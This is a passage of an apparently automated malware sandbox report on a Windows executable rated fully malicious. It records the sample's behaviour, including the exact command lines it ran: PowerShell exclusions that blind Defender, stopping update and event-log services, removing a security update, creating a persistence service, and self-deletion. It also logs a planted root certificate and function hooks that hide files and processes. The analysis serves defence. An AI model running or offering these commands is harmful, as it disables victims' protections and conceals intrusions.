Source: C:\Windows\System32\svchost.exe	Code function: 38_2_000001845B3A2B2C	38_2_000001845B3A2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000001ADECD4DCE0	39_2_000001ADECD4DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000001ADECD544A8	39_2_000001ADECD544A8
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000001ADECD42B2C	39_2_000001ADECD42B2C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D5590538A8	40_2_000001D5590538A8
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D55904D0E0	40_2_000001D55904D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D559041F2C	40_2_000001D559041F2C
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D5590844A8	40_2_000001D5590844A8
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D55907DCE0	40_2_000001D55907DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D559072B2C	40_2_000001D559072B2C
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_00000241A9EA2B2C	41_2_00000241A9EA2B2C
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_00000241A9EADCE0	41_2_00000241A9EADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_00000241A9EB44A8	41_2_00000241A9EB44A8
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD73161F2C	42_2_000001CD73161F2C
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD731738A8	42_2_000001CD731738A8
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD7316D0E0	42_2_000001CD7316D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD73192B2C	42_2_000001CD73192B2C
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD731A44A8	42_2_000001CD731A44A8
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD7319DCE0	42_2_000001CD7319DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E86D0E0	43_2_000002824E86D0E0
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E8738A8	43_2_000002824E8738A8
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E861F2C	43_2_000002824E861F2C
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E89DCE0	43_2_000002824E89DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E8A44A8	43_2_000002824E8A44A8
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E892B2C	43_2_000002824E892B2C
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B473CD0E0	44_2_0000021B473CD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B473D38A8	44_2_0000021B473D38A8
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B473C1F2C	44_2_0000021B473C1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B47B3DCE0	44_2_0000021B47B3DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B47B444A8	44_2_0000021B47B444A8
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B47B32B2C	44_2_0000021B47B32B2C
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_000002086F9E38A8	45_2_000002086F9E38A8
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_000002086F9DD0E0	45_2_000002086F9DD0E0
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_000002086F9D1F2C	45_2_000002086F9D1F2C
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_0000020870062B2C	45_2_0000020870062B2C
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_00000208700744A8	45_2_00000208700744A8
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_000002087006DCE0	45_2_000002087006DCE0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe E4EDA2DE1DAB7A3891B0ED6EFF0CCD905FF4B275150004C6EB5F1D6582EEA9A2

Source: classification engine

Classification label: mal100.adwa.evad.winEXE@45/67@0/0

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_000000014000226C GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx,

17_2_000000014000226C

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_00000001400019C4 SysAllocString,SysAllocString,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,VariantInit,CoUninitialize,SysFreeString,SysFreeString,

17_2_00000001400019C4

Source: C:\Windows\System32\dialer.exe

17_2_000000014000226C

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7532:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_keg54dfm.zgo.ps1

Jump to behavior

Source: whrbuflqwhah.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\whrbuflqwhah.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\whrbuflqwhah.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: whrbuflqwhah.exe	ReversingLabs: Detection: 63%
Source: whrbuflqwhah.exe	Virustotal: Detection: 71%

Source: C:\Users\user\Desktop\whrbuflqwhah.exe

File read: C:\Users\user\Desktop\whrbuflqwhah.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\whrbuflqwhah.exe "C:\Users\user\Desktop\whrbuflqwhah.exe"
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "RYVSUJUA"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "RYVSUJUA"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\whrbuflqwhah.exe"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "RYVSUJUA"	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "RYVSUJUA"	Jump to behavior
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\whrbuflqwhah.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3	Jump to behavior

Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\choice.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: whrbuflqwhah.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: whrbuflqwhah.exe

Static file information: File size 5512704 > 1048576

Source: whrbuflqwhah.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x52a800

Source: whrbuflqwhah.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: whrbuflqwhah.exe	Static PE information: section name: .00cfg
Source: whrbuflqwhah.exe.0.dr	Static PE information: section name: .00cfg

Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF5ACDD push rcx; retf 003Fh	3_2_000002C5CCF5ACDE
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Code function: 3_2_000002C5CCF8C6DD push rcx; retf 003Fh	3_2_000002C5CCF8C6DE
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC62ACDD push rcx; retf 003Fh	22_2_00000225DC62ACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_00000225DC65C6DD push rcx; retf 003Fh	22_2_00000225DC65C6DE
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0ACACDD push rcx; retf 003Fh	31_2_00000202C0ACACDE
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000202C0AFC6DD push rcx; retf 003Fh	31_2_00000202C0AFC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A6612EACDD push rcx; retf 003Fh	32_2_000002A6612EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000002A66131C6DD push rcx; retf 003Fh	32_2_000002A66131C6DE
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDBACDD push rcx; retf 003Fh	33_2_000002BAAEDBACDE
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000002BAAEDEC6DD push rcx; retf 003Fh	33_2_000002BAAEDEC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 34_2_0000026A879AACDD push rcx; retf 003Fh	34_2_0000026A879AACDE
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_000001795378ACDD push rcx; retf 003Fh	35_2_000001795378ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 35_2_00000179537BC6DD push rcx; retf 003Fh	35_2_00000179537BC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D54ACDD push rcx; retf 003Fh	36_2_000002295D54ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_000002295D57C6DD push rcx; retf 003Fh	36_2_000002295D57C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_00000253067EACDD push rcx; retf 003Fh	37_2_00000253067EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 37_2_0000025306E7C6DD push rcx; retf 003Fh	37_2_0000025306E7C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 38_2_000001845B3BC6DD push rcx; retf 003Fh	38_2_000001845B3BC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 39_2_000001ADECD5C6DD push rcx; retf 003Fh	39_2_000001ADECD5C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D55905ACDD push rcx; retf 003Fh	40_2_000001D55905ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_000001D55908C6DD push rcx; retf 003Fh	40_2_000001D55908C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 41_2_00000241A9EBC6DD push rcx; retf 003Fh	41_2_00000241A9EBC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD7317ACDD push rcx; retf 003Fh	42_2_000001CD7317ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 42_2_000001CD731AC6DD push rcx; retf 003Fh	42_2_000001CD731AC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E87ACDD push rcx; retf 003Fh	43_2_000002824E87ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 43_2_000002824E8AC6DD push rcx; retf 003Fh	43_2_000002824E8AC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B473DACDD push rcx; retf 003Fh	44_2_0000021B473DACDE
Source: C:\Windows\System32\svchost.exe	Code function: 44_2_0000021B47B4C6DD push rcx; retf 003Fh	44_2_0000021B47B4C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_000002086F9EACDD push rcx; retf 003Fh	45_2_000002086F9EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 45_2_000002087007C6DD push rcx; retf 003Fh	45_2_000002087007C6DE

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Source: C:\Users\user\Desktop\whrbuflqwhah.exe

File created: C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe

Jump to dropped file

Source: C:\Users\user\Desktop\whrbuflqwhah.exe

File created: C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe

Jump to dropped file

Source: C:\Users\user\Desktop\whrbuflqwhah.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\whrbuflqwhah.exe"
Source: C:\Users\user\Desktop\whrbuflqwhah.exe	Process created: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\whrbuflqwhah.exe"			Jump to behavior

Source: C:\Windows\System32\lsass.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
